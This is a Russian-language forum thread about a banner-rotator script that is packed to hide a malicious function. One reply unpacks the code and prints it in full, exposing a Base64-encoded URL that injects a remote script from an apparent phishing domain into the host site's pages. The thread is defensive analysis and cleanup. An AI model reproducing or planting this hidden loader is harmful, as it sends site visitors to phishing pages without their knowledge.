• DONATE to NULLED!
    Форуму и его команде можно помочь, мотивировать модераторов разделов.
    Помогите модератору этого раздела killoff лично.

Помощь Ротатор. Помогите расшифровать.

Статус
В этой теме нельзя размещать новые ответы.

Serberg

Гуру форума
Регистрация
6 Апр 2009
Сообщения
239
Реакции
70
Нашел ротатор баннеров, в нем зашифрована функция ротации. Где то прочитал что этот ротатор не очень честно работает + подставляет свои ссылки. Есть подозрение что они находятся в функции ротации которая зашифрована.

Можно ли ее как нибудь расшифровать ?

Код:
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5 z={l:"1b+/=",1c:m(a){5 b="";5 c,s,t,M,w,o,p;5 i=0;a=z.S(a);F(i<a.k){c=a.u(i++);s=a.u(i++);t=a.u(i++);M=c>>2;w=((c&3)<<4)|(s>>4);o=((s&15)<<2)|(t>>6);p=t&x;7(T(s)){o=p=G}v 7(T(t)){p=G}b=b+8.l.q(M)+8.l.q(w)+8.l.q(o)+8.l.q(p)}y b},N:m(a){5 b="";5 c,s,t;5 d,w,o,p;5 i=0;a=a.U(/[^A-1d-1e-9\\+\\/\\=]/g,"");F(i<a.k){d=8.l.B(a.q(i++));w=8.l.B(a.q(i++));o=8.l.B(a.q(i++));p=8.l.B(a.q(i++));c=(d<<2)|(w>>4);s=((w&15)<<4)|(o>>2);t=((o&3)<<6)|p;b=b+f.h(c);7(o!=G){b=b+f.h(s)}7(p!=G){b=b+f.h(t)}}b=z.V(b);y b},S:m(a){a=a.U(/\\r\\n/g,"\\n");5 b="";W(5 n=0;n<a.k;n++){5 c=a.u(n);7(c<C){b+=f.h(c)}v 7((c>1f)&&(c<1g)){b+=f.h((c>>6)|1h);b+=f.h((c&x)|C)}v{b+=f.h((c>>12)|X);b+=f.h(((c>>6)&x)|C);b+=f.h((c&x)|C)}}y b},V:m(a){5 b="";5 i=0;5 c=1i=D=0;F(i<a.k){c=a.u(i);7(c<C){b+=f.h(c);i++}v 7((c>1j)&&(c<X)){D=a.u(i+1);b+=f.h(((c&1k)<<6)|(D&x));i+=2}v{D=a.u(i+1);Y=a.u(i+2);b+=f.h(((c&15)<<12)|((D&x)<<6)|(Y&x));i+=3}}y b}};m Z(){8.H=m(a,b,c){7(1l(c)!=\'1m\'){5 d=10 1n();d.1o(d.1p()+(c*1q));5 e="; 1r="+d.1s()}v{5 e=""}O.11=a+"="+b+e+"; 1t=/"};8.P=m(a){a=a+"=";5 b=O.11.1u(\';\');W(5 i=0;i<b.k;i++){5 c=b[i];F(c.q(0)==\' \')c=c.13(1,c.k);7(c.B(a)==0)y c.13(a.k,c.k)}y 1v};8.1w=m(a){8.H(a,"",-1)}};m Q(a){5 b;7(14){b=z.N(a)}v b=a;y b};5 I="";5 E=10 Z();5 i=16(E.P(\'17\'));7(!i)i=0;7(R[i])I="<J"+"K 18=\'"+Q(R[i++])+"\'></J"+"K>";7(i>=R.k)i=0;E.H(\'17\',i);5 j="1x";7(14)L.19(j);v L.19(z.N(j));i=16(E.P(\'1a\'));7(!i)i=0;I+="<J"+"K 18=\'"+Q(L[i++])+"\'></J"+"K>";7(i>=L.k)i=0;E.H(\'1a\',i);O.1y(I);',62,97,'|||||var||if|this|||||||String||fromCharCode|||length|_keyStr|function||enc3|enc4|charAt||chr2|chr3|charCodeAt|else|enc2|63|return|Base64||indexOf|128|c2|myBanner|while|64|setCookie|popup|scr|ipt|clickUnder|enc1|decode|document|getCookie|GetXCode|popUnder|_utf8_encode|isNaN|replace|_utf8_decode|for|224|c3|CookieHandler|new|cookie||substring|ENCODE||parseInt|banner|src|push|clickunder|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|encode|Za|z0|127|2048|192|c1|191|31|typeof|undefined|Date|setTime|getTime|1000|expires|toGMTString|path|split|null|deleteCookie|aHR0cDovL3J1dGRzLmNvbS9hamF4Lmpz|write'.split('|'),0,{}));

При ротации меня выкидывает кликандером на фишиговый сайт, а это не есть зэр гут для посетителей.
 
Нашел ротатор баннеров, в нем зашифрована функция ротации. Где то прочитал что этот ротатор не очень честно работает + подставляет свои ссылки. Есть подозрение что они находятся в функции ротации которая зашифрована.
Можно ли ее как нибудь расшифровать ?
Код:
eval(function(p,a,c,k,e,r)...[/QUOTE]

Это не шифрация, это запаковка JS скрипта. При распаковке получается вот такое: [PHP]var Base64 = {
    _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
    encode: function (a) {
        var b = "";
        var c, chr2, chr3, enc1, enc2, enc3, enc4;
        var i = 0;
        a = Base64._utf8_encode(a);
        while (i < a.length) {
            c = a.charCodeAt(i++);
            chr2 = a.charCodeAt(i++);
            chr3 = a.charCodeAt(i++);
            enc1 = c >> 2;
            enc2 = ((c & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;
            if (isNaN(chr2)) {
                enc3 = enc4 = 64
            } else if (isNaN(chr3)) {
                enc4 = 64
            }
            b = b + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4)
        }
        return b
    }, decode: function (a) {
        var b = "";
        var c, chr2, chr3;
        var d, enc2, enc3, enc4;
        var i = 0;
        a = a.replace(/[^A-Za-z0-9\+\/\=]/g, "");
        while (i < a.length) {
            d = this._keyStr.indexOf(a.charAt(i++));
            enc2 = this._keyStr.indexOf(a.charAt(i++));
            enc3 = this._keyStr.indexOf(a.charAt(i++));
            enc4 = this._keyStr.indexOf(a.charAt(i++));
            c = (d << 2) | (enc2 >> 4);
            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
            chr3 = ((enc3 & 3) << 6) | enc4;
            b = b + String.fromCharCode(c);
            if (enc3 != 64) {
                b = b + String.fromCharCode(chr2)
            }
            if (enc4 != 64) {
                b = b + String.fromCharCode(chr3)
            }
        }
        b = Base64._utf8_decode(b);
        return b
    }, _utf8_encode: function (a) {
        a = a.replace(/\r\n/g, "\n");
        var b = "";
        for (var n = 0; n < a.length; n++) {
            var c = a.charCodeAt(n);
            if (c < 128) {
                b += String.fromCharCode(c)
            } else if ((c > 127) && (c < 2048)) {
                b += String.fromCharCode((c >> 6) | 192);
                b += String.fromCharCode((c & 63) | 128)
            } else {
                b += String.fromCharCode((c >> 12) | 224);
                b += String.fromCharCode(((c >> 6) & 63) | 128);
                b += String.fromCharCode((c & 63) | 128)
            }
        }
        return b
    }, _utf8_decode: function (a) {
        var b = "";
        var i = 0;
        var c = c1 = c2 = 0;
        while (i < a.length) {
            c = a.charCodeAt(i);
            if (c < 128) {
                b += String.fromCharCode(c);
                i++
            } else if ((c > 191) && (c < 224)) {
                c2 = a.charCodeAt(i + 1);
                b += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
                i += 2
            } else {
                c2 = a.charCodeAt(i + 1);
                c3 = a.charCodeAt(i + 2);
                b += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
                i += 3
            }
        }
        return b
    }
};

function CookieHandler() {
    this.setCookie = function (a, b, c) {
        if (typeof(c) != 'undefined') {
            var d = new Date();
            d.setTime(d.getTime() + (c * 1000));
            var e = "; expires=" + d.toGMTString()
        } else {
            var e = ""
        }
        document.cookie = a + "=" + b + e + "; path=/"
    };
    this.getCookie = function (a) {
        a = a + "=";
        var b = document.cookie.split(';');
        for (var i = 0; i < b.length; i++) {
            var c = b[i];
            while (c.charAt(0) == ' ') c = c.substring(1, c.length);
            if (c.indexOf(a) == 0) return c.substring(a.length, c.length)
        }
        return null
    };
    this.deleteCookie = function (a) {
        this.setCookie(a, "", -1)
    }
};

function GetXCode(a) {
    var b;
    if (ENCODE) {
        b = Base64.decode(a)
    } else b = a;
    return b
};
var popup = "";
var myBanner = new CookieHandler();
var i = parseInt(myBanner.getCookie('banner'));
if (!i) i = 0;
if (popUnder[i]) popup = "<scr" + "ipt src='" + GetXCode(popUnder[i++]) + "'></scr" + "ipt>";
if (i >= popUnder.length) i = 0;
myBanner.setCookie('banner', i);
var j = "aHR0cDovL3J1dGRzLmNvbS9hamF4Lmpz";
if (ENCODE) clickUnder.push(j);
else clickUnder.push(Base64.decode(j));
i = parseInt(myBanner.getCookie('clickunder'));
if (!i) i = 0;
popup += "<scr" + "ipt src='" + GetXCode(clickUnder[i++]) + "'></scr" + "ipt>";
if (i >= clickUnder.length) i = 0;
myBanner.setCookie('clickunder', i);
document.write(popup);[/PHP]
Что насторожило - "var j = "aHR0cDovL3J1dGRzLmNvbS9hamF4Lmpz";"
- запакованный адрес сайта _http://rutds.com/ajax.js

Для распаковки использовался _http://jsbeautifier.org/
 
Спасибо. Как говорится век живи, век учись...

Так и есть. При попытке зайти на _http://rutds.com/ - каспер пишет о фишинговом сайте.
 
Подскажите, как почистить этот код.
Код:
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5 z={l:"1b+/=",1c:m(a){5 b="";5 c,s,t,M,w,o,p;5 i=0;a=z.S(a);F(i<a.k){c=a.u(i++);s=a.u(i++);t=a.u(i++);M=c>>2;w=((c&3)<<4)|(s>>4);o=((s&15)<<2)|(t>>6);p=t&x;7(T(s)){o=p=G}v 7(T(t)){p=G}b=b+8.l.q(M)+8.l.q(w)+8.l.q(o)+8.l.q(p)}y b},N:m(a){5 b="";5 c,s,t;5 d,w,o,p;5 i=0;a=a.U(/[^A-1d-1e-9\\+\\/\\=]/g,"");F(i<a.k){d=8.l.B(a.q(i++));w=8.l.B(a.q(i++));o=8.l.B(a.q(i++));p=8.l.B(a.q(i++));c=(d<<2)|(w>>4);s=((w&15)<<4)|(o>>2);t=((o&3)<<6)|p;b=b+f.h(c);7(o!=G){b=b+f.h(s)}7(p!=G){b=b+f.h(t)}}b=z.V(b);y b},S:m(a){a=a.U(/\\r\\n/g,"\\n");5 b="";W(5 n=0;n<a.k;n++){5 c=a.u(n);7(c<C){b+=f.h(c)}v 7((c>1f)&&(c<1g)){b+=f.h((c>>6)|1h);b+=f.h((c&x)|C)}v{b+=f.h((c>>12)|X);b+=f.h(((c>>6)&x)|C);b+=f.h((c&x)|C)}}y b},V:m(a){5 b="";5 i=0;5 c=1i=D=0;F(i<a.k){c=a.u(i);7(c<C){b+=f.h(c);i++}v 7((c>1j)&&(c<X)){D=a.u(i+1);b+=f.h(((c&1k)<<6)|(D&x));i+=2}v{D=a.u(i+1);Y=a.u(i+2);b+=f.h(((c&15)<<12)|((D&x)<<6)|(Y&x));i+=3}}y b}};m Z(){8.H=m(a,b,c){7(1l(c)!=\'1m\'){5 d=10 1n();d.1o(d.1p()+(c*1q));5 e="; 1r="+d.1s()}v{5 e=""}O.11=a+"="+b+e+"; 1t=/"};8.P=m(a){a=a+"=";5 b=O.11.1u(\';\');W(5 i=0;i<b.k;i++){5 c=b[i];F(c.q(0)==\' \')c=c.13(1,c.k);7(c.B(a)==0)y c.13(a.k,c.k)}y 1v};8.1w=m(a){8.H(a,"",-1)}};m Q(a){5 b;7(14){b=z.N(a)}v b=a;y b};5 I="";5 E=10 Z();5 i=16(E.P(\'17\'));7(!i)i=0;7(R[i])I="<J"+"K 18=\'"+Q(R[i++])+"\'></J"+"K>";7(i>=R.k)i=0;E.H(\'17\',i);5 j="1x";7(14)L.19(j);v L.19(z.N(j));i=16(E.P(\'1a\'));7(!i)i=0;I+="<J"+"K 18=\'"+Q(L[i++])+"\'></J"+"K>";7(i>=L.k)i=0;E.H(\'1a\',i);O.1y(I);',62,97,'|||||var||if|this|||||||String||fromCharCode|||length|_keyStr|function||enc3|enc4|charAt||chr2|chr3|charCodeAt|else|enc2|63|return|Base64||indexOf|128|c2|myBanner|while|64|setCookie|popup|scr|ipt|clickUnder|enc1|decode|document|getCookie|GetXCode|popUnder|_utf8_encode|isNaN|replace|_utf8_decode|for|224|c3|CookieHandler|new|cookie||substring|ENCODE||parseInt|banner|src|push|clickunder|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|encode|Za|z0|127|2048|192|c1|191|31|typeof|undefined|Date|setTime|getTime|1000|expires|toGMTString|path|split|null|deleteCookie|aHR0cDovL3J1dGRzLmNvbS9hamF4Lmpz|write'.split('|'),0,{}));

Просто брать aHR0cDovL3J1dGRzLmNvbS9hamF4Lmpz из кода, я так понимаю, не есть хорошо.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху